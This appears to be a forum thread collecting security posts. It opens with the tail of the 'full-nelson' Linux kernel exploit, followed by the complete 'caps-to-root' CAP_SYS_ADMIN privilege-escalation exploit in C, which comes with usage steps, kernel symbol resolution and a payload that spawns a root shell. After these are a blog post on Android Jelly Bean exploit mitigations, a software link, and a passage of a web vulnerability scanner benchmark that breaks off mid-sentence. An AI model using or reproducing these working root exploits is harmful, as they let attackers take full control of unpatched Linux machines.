__attribute__((regparm(3))) getroot(void * file, void * vma) { commit_creds(prepare_kernel_cred(0)); return -1; } /* Why do I do this? Because on x86-64, the address of * commit_creds and prepare_kernel_cred are loaded relative * to rip, which means I can't just copy the above payload * into my landing area. */ void __attribute__((regparm(3))) trampoline() { #ifdef __x86_64__ asm("mov $getroot, %rax; call *%rax;"); #else asm("mov $getroot, %eax; call *%eax;"); #endif } /* Triggers a NULL pointer dereference in econet_sendmsg * via sock_no_sendpage, so it's under KERNEL_DS */ int trigger(int * fildes) { int ret; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "eth0", IFNAMSIZ); ret = ioctl(fildes[2], SIOCSIFADDR, &ifr); if(ret < 0) { printf(" [*] Failed to set Econet address.\n"); return -1; } splice(fildes[3], NULL, fildes[1], NULL, 128, 0); splice(fildes[0], NULL, fildes[2], NULL, 128, 0); /* Shouldn't get here... */ exit(0); } int main(int argc, char * argv[]) { unsigned long econet_ops, econet_ioctl, target, landing; int fildes[4], pid; void * newstack, * payload; /* Create file descriptors now so there are two references to them after cloning...otherwise the child will never return because it deadlocks when trying to unlock various mutexes after OOPSing */ pipe(fildes); fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0); fildes[3] = open("/dev/zero", O_RDONLY); if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) { printf(" [*] Failed to open file descriptors.\n"); return -1; } /* Resolve addresses of relevant symbols */ printf(" [*] Resolving kernel addresses...\n"); econet_ioctl = get_kernel_sym("econet_ioctl"); econet_ops = get_kernel_sym("econet_ops"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) { printf(" [*] Failed to resolve kernel symbols.\n"); return -1; } if(!(newstack = malloc(65536))) { printf(" [*] Failed to allocate memory.\n"); return -1; } printf(" [*] Calculating target...\n"); target = econet_ops + 10 * sizeof(void *) - OFFSET; /* Clear the higher bits */ landing = econet_ioctl << SHIFT >> SHIFT; payload = mmap((void *)(landing & ~0xfff), 2 * 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if ((long)payload == -1) { printf(" [*] Failed to mmap() at target address.\n"); return -1; } memcpy((void *)landing, &trampoline, 1024); clone((int (void *))trigger, (void *)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, &fildes, NULL, NULL, target); sleep(1); printf(" [*] Triggering payload...\n"); ioctl(fildes[2], 0, NULL); if(getuid()) { printf(" [*] Exploit failed to get root.\n"); return -1; } printf(" [*] Got root!\n"); execl("/bin/sh", "/bin/sh", NULL); } Sursa: http://vulnfactory.org/exploits/full-nelson.c

Linux Kernel CAP_SYS_ADMIN to root exploit Mai vechi dar poate util: /* * Linux Kernel CAP_SYS_ADMIN to root exploit * by Dan Rosenberg * @djrbliss on twitter * * Usage: * gcc -w caps-to-root.c -o caps-to-root * sudo setcap cap_sys_admin+ep caps-to-root * ./caps-to-root * * This exploit is NOT stable: * * * It only works on 32-bit x86 machines * * * It only works on >= 2.6.34 kernels (it could probably be ported back, but * it involves winning a race condition) * * * It requires symbol support for symbols that aren't included by default in * several distributions * * * It requires the Phonet protocol, which may not be compiled on some * distributions * * * You may experience problems on multi-CPU systems * * It has been tested on a stock Ubuntu 10.10 installation. I wouldn't be * surprised if it doesn't work on other distributions. * * ---- * * Lately there's been a lot of talk about how a large subset of Linux * capabilities are equivalent to root. CAP_SYS_ADMIN is a catch-all * capability that, among other things, allows mounting filesystems and * injecting commands into an administrator's shell - in other words, it * trivially allows you to get root. However, I found another way to get root * from CAP_SYS_ADMIN...the hard way. * * This exploit leverages a signedness error in the Phonet protocol. By * specifying a negative protocol index, I can craft a series of fake * structures in userspace and cause the incrementing of an arbitrary kernel * address, which I then leverage to execute arbitrary kernel code. * * Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth, * and bla. * */ #include <stdio.h> #include <fcntl.h> #include <sys/socket.h> #include <errno.h> #include <string.h> #include <linux/capability.h> #include <sys/utsname.h> #include <sys/mman.h> #include <unistd.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; int getroot(void) { commit_creds(prepare_kernel_cred(0)); return 0; } int konami(void) { /* Konami code! */ asm("inc %edx;" /* UP */ "inc %edx;" /* UP */ "dec %edx;" /* DOWN */ "dec %edx;" /* DOWN */ "shl %edx;" /* LEFT */ "shr %edx;" /* RIGHT */ "shl %edx;" /* LEFT */ "shr %edx;" /* RIGHT */ "push %ebx;" /* B */ "pop %ebx;" "push %eax;" /* A */ "pop %eax;" "mov $getroot, %ebx;" "call *%ebx;"); /* START */ return 0; } /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) return 0; oldstyle = 1; } while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr); fclose(f); return addr; } } fclose(f); return 0; } int main(int argc, char * argv[]) { int sock, proto, i, offset = -1; unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr; void * map; /* Create a socket to load the module for symbol support */ printf(" [*] Testing Phonet support and CAP_SYS_ADMIN...\n"); sock = socket(PF_PHONET, SOCK_DGRAM, 0); if(sock < 0) { if(errno == EPERM) printf(" [*] You don't have CAP_SYS_ADMIN.\n"); else printf(" [*] Failed to open Phonet socket.\n"); return -1; } /* Resolve kernel symbols */ printf(" [*] Resolving kernel symbols...\n"); proto_tab = get_kernel_sym("proto_tab"); pn_ops = get_kernel_sym("phonet_dgram_ops"); pn_ioctl = get_kernel_sym("pn_socket_ioctl"); commit_creds = get_kernel_sym("commit_creds"); prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred"); if(!proto_tab || !commit_creds || !prepare_kernel_cred || !pn_ops || !pn_ioctl) { printf(" [*] Failed to resolve kernel symbols.\n"); return -1; } /* Thanks bla, for reminding me how to do basic math */ landing = 0x20000000; proto = 1 << 31 | (landing - proto_tab) >> 2; /* Map it */ printf(" [*] Preparing fake structures...\n"); map = mmap((void *)landing, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if(map == MAP_FAILED) { printf(" [*] Failed to map landing area.\n"); return -1; } /* Pointer to phonet_protocol struct */ ptr = (unsigned long *)landing; ptr[0] = &ptr[1]; /* phonet_protocol struct */ for(i = 1; i < 4; i++) ptr[i] = &ptr[4]; /* proto struct */ for(i = 4; i < 204; i++) ptr[i] = &ptr[204]; /* First, do a test run to calculate any offsets */ target = 0x30000000; /* module struct */ for(i = 204; i < 404; i++) ptr[i] = target; /* Map it */ map = mmap((void *)0x30000000, 0x2000000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if(map == MAP_FAILED) { printf(" [*] Failed to map landing area.\n"); return -1; } printf(" [*] Calculating offsets...\n"); socket(PF_PHONET, SOCK_DGRAM, proto); ptr = 0x30000000; for(i = 0; i < 0x800000; i++) { if(ptr[i] != 0) { offset = i * sizeof(void *); break; } } if(offset == -1) { printf(" [*] Test run failed.\n"); return -1; } /* MSB of pn_ioctl */ target = pn_ops + 10 * sizeof(void *) - 1 - offset; /* Re-fill the module struct */ ptr = (unsigned long *)landing; for(i = 204; i < 404; i++) ptr[i] = target; /* Push pn_ioctl fptr into userspace */ printf(" [*] Modifying function pointer...\n"); landing = pn_ioctl; while((landing & 0xff000000) != 0x10000000) { socket(PF_PHONET, SOCK_DGRAM, proto); landing += 0x01000000; } /* Map it */ map = mmap((void *)(landing & ~0xfff), 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if(map == MAP_FAILED) { printf(" [*] Failed to map payload area.\n"); return -1; } /* Copy payload */ memcpy((void *)landing, &konami, 1024); printf(" [*] Executing Konami code at ring0...\n"); ioctl(sock, 0, NULL); if(getuid()) { printf(" [*] Exploit failed to get root.\n"); return -1; } printf(" [*] Konami code worked! Have a root shell.\n"); execl("/bin/sh", "/bin/sh", NULL); } Sursa: http://vulnfactory.org/exploits/caps-to-root.c

[h=2]Exploit Mitigations in Android Jelly Bean 4.1[/h] By Jon Oberheide on July 16, 2012 It’s been a few months since our analysis of the new ASLR support in Android ICS 4.0. Given that ICS 4.0 is old news now with the recent release of Jelly Bean 4.1, I thought it was about time to give an update on the ASLR capabilities as well as cover some of the other improvements in exploit mitigations present in Jelly Bean. As a quick recap of the current state of ASLR in Android ICS: For the uninitiated, ASLR randomizes where various areas of memory (eg. stack, heap, libs, etc) are mapped in the address space of a process. Combined with complementary mitigation techniques such as non-executable memory protection (NX, XN, DEP, W^X, whatever you want to call it), ASLR makes the exploitation of traditional memory corruption vulnerabilities probabilistically difficult. … Unfortunately, the ASLR support in Android 4.0 did not live up to expectations and is largely ineffective for mitigating real-world attacks, due to the lack of randomization of the executable and linker memory regions. It also would be beneficial to randomize the heap/brk by setting kernel.randomize_va_space=2.So, things weren’t in great shape. Despite those deficiencies, Android has stepped its game up mitigation-wise in the new Jelly Bean release. Read on for the full details! [h=3]A Brief History of Mitigations in Android[/h] I was going to give an overview of how exploit mitigations have evolved over the years in the various versions of Android, but it looks like Nick K from Google has beat me to it with a great timeline in their official security documentation: Android 1.5+ ProPolice to prevent stack buffer overruns (-fstack-protector)safe_iop to reduce integer overflowsExtensions to OpenBSD dlmalloc to prevent double free() vulnerabilities and to prevent chunk consolidation attacks. Chunk consolidation attacks are a common way to exploit heap corruption.OpenBSD calloc to prevent integer overflows during memory allocationAndroid 2.3+ Format string vulnerability protections (-Wformat-security -Werror=format-security)Hardware-based No eXecute (NX) to prevent code execution on the stack and heapLinux mmap_min_addr to mitigate null pointer dereference privilege escalation (further enhanced in Android 4.1)Android 4.0+ Address Space Layout Randomization (ASLR) to randomize key locations in memoryAndroid 4.1+ PIE (Position Independent Executable) supportRead-only relocations / immediate binding (-Wl,-z,relro -Wl,-z,now)dmesg_restrict enabled (avoid leaking kernel addresses)kptr_restrict enabled (avoid leaking kernel addresses) [h=3]What’s New in Jelly Bean[/h] There’s a few exploit mitigations that have been added/improved for Jelly Bean 4.1. Let’s go into a bit of detail on each. [h=4]ASLR – Position Independent Executables (PIE)[/h] As we mentioned in our previous post on Android ASLR, the executable mapping in the process address space was not randomized in Ice Cream Sandwich, making ROP-style attacks possible using the whole executable as a source of gadgets. In Jelly Bean, most binaries are now compiled/linked with the PIE flag (commits for the linker, ARM and x86), which means the executable mapping will be properly randomized when executed. To check whether a binary is a PIE, you can use the readelf(1) and check the type field in the ELF header. For example, the vold binary on Ice Cream Sandwich is not PIE-enabled as indicated by the EXEC ELF type: $ arm-linux-androideabi-readelf -h vold-4.0.2-gnexus | grep Type Type: EXEC (Executable file) While the vold binary on the new Jelly Bean version is PIE-enabled as indicated by the DYN ELF type: $ arm-linux-androideabi-readelf -h vold-4.1.1-gnexus | grep Type Type: DYN (Shared object file)[h=4]ASLR – Heap / Brk Randomization[/h] As mentioned in our previous blog post, kernel.randomize_va_space sysctl has now been set to 2 in Jelly Bean, enabling randomization of the heap/brk space, which was lacking in Ice Cream Sandwich. You can verify the correct randomize_va_space parameter easily on your device using adb: shell@android:/ $ cat /proc/versionLinux version 3.0.31-g6fb96c9 ...shell@android:/ $ cat /proc/sys/kernel/randomize_va_space2[h=4]ASLR – Linker Randomization[/h] The custom Android linker was the last piece of the ASLR puzzle that was not randomized in Ice Cream Sandwich. In Jelly Bean, the linker is now randomized in the process address space. This means that the deficiencies in ICS pointed out in our previous blog post have all been addressed in Jelly Bean, giving it full stack, heap/brk, lib/mmap, linker, and executable ASLR: Props to Nick K and the Android team for getting this implemented and landed between 4.0 and 4.1. [h=4]ELF Hardening – RELRO / BIND_NOW[/h] Also new in Jelly Bean, most of the system binaries are compiled with the RELRO and BIND_NOW flags passed to the linker (commits for the linker, ARM, and x86). This hardens those binaries against attacks that may attempt to overwrite the GOT and other sensitive ELF structures by making them read-only at startup. Stealth’s popular Gingerbreak exploit used a GOT overwrite to obtain code execution in the vold daemon. Check out slide #42 and #43 in my “Don’t Root Robots” presentation to see how Gingerbreak overwrites a GOT entry to point to system(3) and executes an arbitrary privileged command. If you’re interested in more non-Android-specific details on how the RELRO and BIND_NOW linker flags prevent GOT overwrites and other ELF trickery, Julien has a good blog post on the topic. [h=4]Infoleak Prevention – dmesg_restrict / kptr_restrict[/h] Jelly Bean also pulled in a couple easy enhancements inherited from the upstream Linux kernel that can prevent information leakage. The dmesg_restrict and kptr_restrict sysctls, originally implemented by Dan Rosenberg, are now available and enabled in 4.1. The former will prevent an unprivileged user from reading the dmesg/klogctl buffer which may contain sensitive information. The latter will prevent the system from exposing sensitive kernel address (eg. through various interfaces in /proc) to unprivileged userspace processes. The end result is denying attackers information sources on the system that may aid in increasing the feasibility or reliability of a kernel exploit. For example, my Levitator exploit used the /proc/kallsyms interface, which is now restricted by kptr_restrict. It’s not a huge gain, but still a good proactive step. [h=3]What’s Next for Android[/h] [h=4]ASLR Weaknesses[/h] Now that ASLR is implemented “fully”, it will certainly drive more interest towards the inherent weaknesses of 32-bit ASLR and other more platform/architecture-specific ASLR bypasses. Expect to see analysis showing just how weak “full ASLR” is entropy-wise when dealing with the constraints of a 32-bit address space. When you start digging into the implementation-specific details of exploit mitigations, hilarity often results (case in point: the 1 bit of entropy in Windows stack cookies). Hey, maybe I’ll do it if I can find some free time. [h=4]FORTIFY_SOURCE[/h] Since Google decided to implement their own libc (bionic), they lose some of the exploit mitigation benefits that have been in glibc for a while (did I really just use “exploit mitigation benefits” and “glibc” in the same sentence?). One such example is FORTIFY_SOURCE, a group of mitigations that can prevent certain styles of buffer overflows and string formatting attacks. Google will have to implement similar functionality into their bionic library. [h=4]PaX Hardening[/h] The PaX and grsecurity patchsets offer a wide range of hardening techniques that go above and beyond what the traditional Linux userspace and kernel offers. While some techniques may be inappropriate for mobile use due to performance impact and other architectural considerations, Google can definitely cherry-pick from these patchsets if they decide to be proactive about exploit mitigations. [h=4]MAC / RBAC[/h] Once a system has been hardened with the latest and greatest exploit mitigations available, one usually looks towards other methods of containing a successful exploit to prevent it from adversely affecting the rest of the system. Commonly, in the Linux world, folks will deploy MAC or RBAC based systems (such as SELinux, grsecurity, SMACK, Yama, seccomp, etc) to attempt to sandbox and bound the impact of a successful exploit. Given Google’s involvement in the new seccomp filter for ChromeOS and Chromium, I would not be at all surprised to see it employed in Android in the near future. [h=4]Mandatory Code Signing[/h] Lastly, code signing would go a long way towards preventing traditional memory corruption attacks (and also making Bouncer’s challenges a bit more tractable). While Android is still playing a bit of catch-up, other mobile platforms are moving ahead with more innovation exploit mitigation techniques, such as the in-kernel ASLR present in Apple’s iOS 6. One could claim that iOS is being proactive with such techniques, but in reality, they’re simply being reactive to the type of exploits that typically target the iOS platform. However, Apple does deserve credit for raising the barrier up to the point of kernel exploitation by employing effective userspace mitigations such NX, ASLR, and mandatory code signing. Thankfully, Android is getting there, and Jelly Bean is a major step towards that goal. Dug and Jon spend some time testing Android security in-person. Sursa: https://blog.duosecurity.com/2012/07/exploit-mitigations-in-android-jelly-bean-4-1/

Microsoft Office Customer Preview Explore the Office applications Services for business Office 365 ProPlus Office 365 Small Business Premium Office 365 Enterprise Link: http://www.microsoft.com/office/preview/en

Commercial & Open Source Scanners An Accuracy, Coverage, Versatility, Adaptability, Feature and Price Comparison of 60 Commercial & Open Source Black Box Web Application Vulnerability Scanners By Shay Chen Information Security Consultant, Researcher and Instructor Security Tools Benchmarking, http://www.sectoolmarket.com/ sectooladdict-$at$-gmail-$dot$-com July 2012 Assessment Environments: WAVSEP 1.2, ZAP-WAVE (WAVSEP integration), WIVET v3-rev148 Table of Contents 1. Introduction 2. List of Tested Web Application Scanners 3. Benchmark Overview & Assessment Criteria 4. A Glimpse at the Results of the Benchmark 5. Test I - Scanner Versatility - Input Vector Support 6. Test II – Attack Vector Support – Counting Audit Features 7. Introduction to the Various Accuracy Assessments 8. Test III – The Detection Accuracy of Reflected XSS 9. Test IV – The Detection Accuracy of SQL Injection 10. Test V – The Detection Accuracy of Path Traversal/LFI 11. Test VI – The Detection Accuracy of RFI (XSS via RFI) 12. Test VII - WIVET - Coverage via Automated Crawling 13. Test VIII – Scanner Adaptability - Crawling & Scan Barriers 14. Test IX – Authentication and Usability Feature Comparison 15. Test X – The Crown Jewel - Results & Features vs. Pricing 16. Additional Comparisons, Built-in Products and Licenses 17. What Changed? 18. Initial Conclusions – Open Source vs. Commercial 19. Verifying The Benchmark Results 20. So What Now? 21. Recommended Reading List: Scanner Benchmarks 22. Thank-You Note 23. FAQ - Why Didn't You Test NTO, Cenzic and N-Stalker? 24. Appendix A – List of Tools Not Included In the Test 1. Introduction [TABLE] [TR] [TD] Detailed Result Presentation at http://www.sectoolmarket.com/'>http://www.sectoolmarket.com/ Tools, Features, Results, Statistics and Price Comparison (Delete Cache) [/TD] [TD] A Step by Step Guide for Choosing the Right Web Application Vulnerability Scanner for *You* [Placeholder - Infosec Island] [/TD] [TD] A Perfectionist Guide for Optimal Use of Web Application Vulnerability Scanners [Placeholder] [/TD] [/TR] [/TABLE] Getting the information was the easy part. All I had to do was to invest a couple of years in gathering the list of tools, and a couple of more in documenting their various features. It's really a daily routine - you read a couple of posts in news groups in the morning, and couple blogs at the evening. Once you get used to it, it's fun, and even quite addictive. Then came the "best" fantasy, and with it, the inclination to test the proclaimed features of all the web application vulnerability scanners against each other, only to find out that things are not that simple, and finding the "best", if there is such a tool, was not an easy task. Inevitably, I tried searching for alternative assessment models, methods of measurements that will handle the imperfections of the previous assessments. I tried to change the perspective, add tests (and hundreds of those - 940+, to be exact), examine different aspects, and even make parts of the test process obscure, and now, I'm finally ready for another shot. In spite of everything I had invested in past researches, due to the focus I had on features and accuracy, and the policy I used when interacting with the various vendors, it was difficult, especially for me, to gain insights from the mass amounts of data that will enable me to choose, and more importantly, properly use the various tools in real life scenarios. Is the most accurate scanner necessarily the best choice for a point and shoot scenario? and what good will it do if it can't scan an application due to a specific scan barrier it can't handle, or because if does not support the input delivery method? I needed to gather other pieces of the puzzle, and even more importantly, I needed a method, or more accurately, a methodology. I'm sorry to disappoint you, dear reader, so early in the article, but I still don't have a perfect answer or one recommendation... But I sure am much closer than I ever was, and although I might not have the answer, I have many answers, and a very comprehensive, logical and clear methodology for employing the use of all the information I'm about to present. In the previous benchmarks , I focused on assessing 3 major aspects of web application scanners, which revolved mostly around features & accuracy, and even though the information was very interesting, it wasn't necessarily useful, at least not in all scenarios. So decided to take it to the edge, but since I already reached the number of 60 scanners, it was hard to make an impression with a couple of extra tools, so instead, I focused my efforts on aspects. This time, I compared 10 different aspects of the tools (or 14, if you consider non competitive charts), and chose the collection with the aim of providing practical tools for making a decision, and getting a glimpse of the bigger picture. Let me assure you - this time, the information is presented in a manner that is very helpful, is easy to navigate, and is supported by presentation platforms, articles and step by step methodologies. Furthermore, I wrapped it all in a summary that includes the major results and features in relation to the price, for those of us that prefer the overview, and avoid the drill down. Information and Insights that I believe, will help testers invest their time in better-suited tools, and consumers in properly investing their money, in the long term or the short term (but not necessarily both*). As mentioned earlier, this research covers various aspects for the latest versions of 11 commercial web application scanners, and the latest versions of most of the 49 free & open source web application scanners. It also covers some scanners that were not covered in previous benchmarks, and includes, among others, the following components and tests: • A Price Comparison - in Relation to the Rest of the Benchmark Results • Scanner Versatility - A Measure for the Scanner's Support of Protocols & Input Delivery Vectors • Attack Vector Support - The Amount & Type of Active Scan Plugins (Vulnerability Detection) • Reflected Cross Site Scripting Detection Accuracy • SQL Injection Detection Accuracy • Path Traversal / Local File Inclusion Detection Accuracy • Remote File Inclusion Detection Accuracy (XSS/Phishing via RFI) • WIVET Score Comparison - Automated Crawling / Input Vector Extraction • Scanner Adaptability - Complementary Coverage Features and Scan Barrier Support • Authentication Features Comparison • Complementary Scan Features and Embedded Products • General Scanning Features and Overall Impression • License Comparison and General Information And just before we delve into the details, one last tip: don't focus solely on the charts - if you want to really understand what they reflect, dig in. Lists and charts first, detailed description later. 2. List of Tested Web Application Scanners The following commercial scanners were included in the benchmark: IBM AppScan v8.5.0.1, Build 42-SR1434 (IBM) WebInspect v9.20.277.0, SecureBase 4.08.00 (HP) Netsparker v2.1.0, Build 45 (Mavituna Security) Acunetix WVS v8.0, Build 20120613 (Acunetix) Syhunt Dynamic (SandcatPro) v4.5.0.0/1 (Syhunt) Burp Suite v1.4.10 (Portswigger) ParosPro v1.9.12 (Milescan) - WIVET / Other JSky v3.5.1-905 (NoSec) - WIVET / Other WebCruiser v2.5.1 EE (Janus Security) Nessus v5.0.1 - 20120701 (Tenable Network Security) - Web Scanning Features Ammonite v1.2 (RyscCorp) The following new free & open source scanners were included in the benchmark: IronWASP v0.9.1.0 The updated versions of the following free & open source scanners were re-tested in the benchmark: Zed Attack Proxy (ZAP) v1.4.0.1, sqlmap v1.0-Jul-5-2012 (Github), W3AF 1.2-rev509 (SVN), Acunetix Free Edition v8.0-20120509, Safe3WVS v10.1 FE (Safe3 Network Center) WebSecurify v0.9 (free edition - the new commercial version was not tested), Syhunt Mini (Sandcat Mini) v4.4.3.0, arachni v0.4.0.3, Skipfish 2.07b, N-Stalker 2012 Free Edition v7.1.1.121 (N-Stalker), Watobo v0.9.8-rev724 (a few new WATOBO 0.9.9 pre versions were released a few days before the publication of the benchmark, but I didn't managed to test them in time) Different aspects of the following free & open source scanners were tested in the benchmark: VEGA 1.0 beta (Subgraph), Netsparker Community Edition v1.7.2.13, Andiparos v1.0.6, ProxyStrike v2.2, Wapiti v2.2.1, Paros Proxy v3.2.13, Grendel Scan v1.0 The results were compared to those of unmaintained scanners tested in previous benchmarks: PowerFuzzer v1.0, Oedipus v1.8.1 (v1.8.3 is around somewhere), Scrawler v1.0, WebCruiser v2.4.2 FE (corrections), Sandcat Free Edition v4.0.0.1, JSKY Free Edition v1.0.0, N-Stalker 2009 Free Edition v7.0.0.223, UWSS (Uber Web Security Scanner) v0.0.2, Grabber v0.1, WebScarab v20100820, Mini MySqlat0r v0.5, WSTool v0.14001, crawlfish v0.92, Gamja v1.6, iScan v0.1, LoverBoy v1.0, DSSS (Damn Simple SQLi Scanner) v0.1h, openAcunetix v0.1, ScreamingCSS v1.02, Secubat v0.5, SQID (SQL Injection Digger) v0.3, SQLiX v1.0, VulnDetector v0.0.2, Web Injection Scanner (WIS) v0.4, Xcobra v0.2, XSSploit v0.5, XSSS v0.40, Priamos v1.0, XSSer v1.5-1 (version 1.6 was released but I didn't manage to test it), aidSQL 02062011 (a newer revision exists in the SVN but was not officially released) For a full list of commercial & open source tools that were not tested in this benchmark, refer to the appendix. 3. Benchmark Overview & Assessment Criteria The benchmark focused on testing commercial & open source tools that are able to detect (and not necessarily exploit) security vulnerabilities on a wide range of URLs, and thus, each tool tested was required to support the following features: · The ability to detect Reflected XSS and/or SQL Injection and/or Path Traversal/Local File Inclusion/Remote File Inclusion vulnerabilities. · The ability to scan multiple URLs at once (using either a crawler/spider feature, URL/Log file parsing feature or a built-in proxy). · The ability to control and limit the scan to internal or external host (domain/IP). The testing procedure of all the tools included the following phases: Feature Documentation The features of each scanner were documented and compared, according to documentation, configuration, plugins and information received from the vendor. The features were then divided into groups, which were used to compose various hierarchal charts. Accuracy Assessment The scanners were all tested against the latest version of WAVSEP (v1.2, integrating ZAP-WAVE), a benchmarking platform designed to assess the detection accuracy of web application scanners, which was released with the publication of this benchmark. The purpose of WAVSEP’s test cases is to provide a scale for understanding which detection barriers each scanning tool can bypass, and which common vulnerability variations can be detected by each tool. · The various scanners were tested against the following test cases (GET and POST attack vectors): o 816 test cases that were vulnerable to Path Traversal attacks. o 108 test cases that were vulnerable to Remote File Inclusion (XSS via RFI) attacks. o 66 test cases that were vulnerable to Reflected Cross Site Scripting attacks. o 80 test cases that contained Error Disclosing SQL Injection exposures. o 46 test cases that contained Blind SQL Injection exposures. o 10 test cases that were vulnerable to Time Based SQL Injection attacks. o 7 different categories of false positive RXSS vulnerabilities. o 10 different categories of false positive SQLi vulnerabilities. o 8 different categories of false positive Path Travesal / LFI vulnerabilities. o 6 different categories of false positive Remote File Inclusion vulnerabilities. · The benchmark included 8 experimental RXSS test cases and 2 experimental SQL Injection test cases, and although the scan results of these test cases were documented in the various scans, their results were not included in the final score, at least for now. · In order to ensure the result consistency, the directory of each exposure sub category was individually scanned multiple times using various configurations, usually using a single thread and using a scan policy that only included the relevant plugins. In order to ensure that the detection features of each scanner were truly effective, most of the scanners were tested against an additional benchmarking application that was prone to the same vulnerable test cases as the WAVSEP platform, but had a different design, slightly different behavior and different entry point format, in order to verify that no signatures were used, and that any improvement was due to the enhancement of the scanner's attack tree. Attack Surface Coverage Assessment In order to assess the scanners attack surface coverage, the assessment included tests that measure the efficiency of the scanner's automated crawling mechanism (input vector extraction) , and feature comparisons meant to assess its support for various technologies and its ability to handle different scan barriers. This section of the benchmark also included the WIVET test (Web Input Vector Extractor Teaser), in which scanners were executed against a dedicated application that can assess their crawling mechanism in the aspect of input vector extraction. The specific details of this assessment are provided in the relevant section. Public tests vs. Obscure tests In order to make the test as fair as possible, while still enabling the various vendors to show improvement, the benchmark was divided into tests that were publically announced, and tests that were obscure to all vendors: · Publically announced tests: the active scan feature comparison, and the detection accuracy assessment of the SQL Injection and Reflected Cross Site Scripting, composed out of tests cases which were published as a part of WAVSEP v1.1.1) · Tests that were obscure to all vendors until the moment of the publication: the various new groups of feature comparisons, the WIVET assessment, and the detection accuracy assessment of the Path Traversal / LFI and Remote File Inclusion (XSS via RFI), implemented as 940+ test cases in WAVSEP 1.2 (a new version that was only published alongside this benchmark). The results of the main test categories are presented within three graphs (commercial graph, free & open source graph, unified graph), and the detailed information of each test is presented in a dedicated section in benchmark presentation platform at http://www.sectoolmarket.com. Now that were finally done with the formality, let's get to the interesting part... the results. 4. A Glimpse to the Results of the Benchmark This presentation of results in this benchmark, alongside the dedicated website (http://www.sectoolmarket.com/) and a series of supporting articles and methodologies ([placeholder]), are all designed to help the reader to make a decision - to choose the proper product/s or tool/s for the task at hand, within the borders of the time or budget. For those of us that can't wait, and want to get a glimpse to the summary of the unified results, there is a dedicated page available at the following links: Price & Feature Comparison of Commercial Scanners List of Tested Scanners Price & Feature Comparison of a Unified List of Commercial, Free and Open Source Products List of Tested Scanners Some of the sections might not be clear to some of the readers at this phase, which is why I advise you to read the rest of the article, prior to analyzing this summary. 5. Test I - Scanner Versatility - Input Vector Support The first assessment criterion was the number of input vectors each tool can scan (and not just parse). Modern web applications use a variety of sub-protocols and methods for delivering complex inputs from the browser to the server. These methods include standard input delivery methods such as HTTP querystring parameters and HTTP body parameters, modern delivery methods such as JSON and XML, and even binary delivery methods for technology specific objects such as AMF, Java serialized objects and WCF. Since the vast majority of active scan plugins rely on input that is meant to be injected into client originating parameters, supporting the parameter (or rather, the input) delivery method of the tested application is a necessity. Although the charts in this section don't necessarily represent the most important score, it is the most important perquisite for the scanner to comply with when scanning a specific technology. Reasoning: An automated tool can't detect a vulnerability in a given parameter, if it can't scan the protocol or mimic the application's method of delivering the input. The more vectors of input delivery that the scanner supports, the more versatile it is in scanning different technologies and applications (assuming it can handle the relevant scan barriers, supports necessary features such as authentication, or alternatively, contains features that can be used to work around the specific limitations). The detailed comparison of the scanners support for various input delivery methods is documented in detail in the following section of sectoolmarket (recommended - too many scanners in the chart): The Input Vector Support of Web Application Scanners The following chart shows how versatile each scanner is in scanning different input delivery vectors (and although not entirely accurate - different technologies): The Number of Input Vectors Supported – Commercial Tools The Number of Input Vectors Supported – Free & Open Source Tools The Number of Input Vectors Supported – Unified List 6. Test II – Attack Vector Support – Counting Audit Features The second assessment criterion was the number of audit features each tool supports. Reasoning: An automated tool can't detect an exposure that it can't recognize (at least not directly, and not without manual analysis), and therefore, the number of audit features will affect the amount of exposures that the tool will be able to detect (assuming the audit features are implemented properly, that vulnerable entry points will be detected, that the tool will be able to handle the relevant scan barriers and scanning perquisites, and that the tool will manage to scan the vulnerable input vectors). For the purpose of the benchmark, an audit feature was defined as a common generic application-level scanning feature, supporting the detection of exposures which could be used to attack the tested web application, gain access to sensitive assets or attack legitimate clients. The definition of the assessment criterion rules out product specific exposures and infrastructure related vulnerabilities, while unique and extremely rare features were documented and presented in a different section of this research, and were not taken into account when calculating the results. Exposures that were specific to Flash/Applet/Silverlight and Web Services Assessment (with the exception of XXE) were treated in the same manner. The detailed comparison of the scanners support for various audit features is documented in detail in the following section of sectoolmarket: Web Application Scanners Audit Features Comparison The Number of Audit Features in Web Application Scanners – Commercial Tools The Number of Audit Features in Web Application Scanners – Free & Open Source Tools The Number of Audit Features in Web Application Scanners – Unified List So once 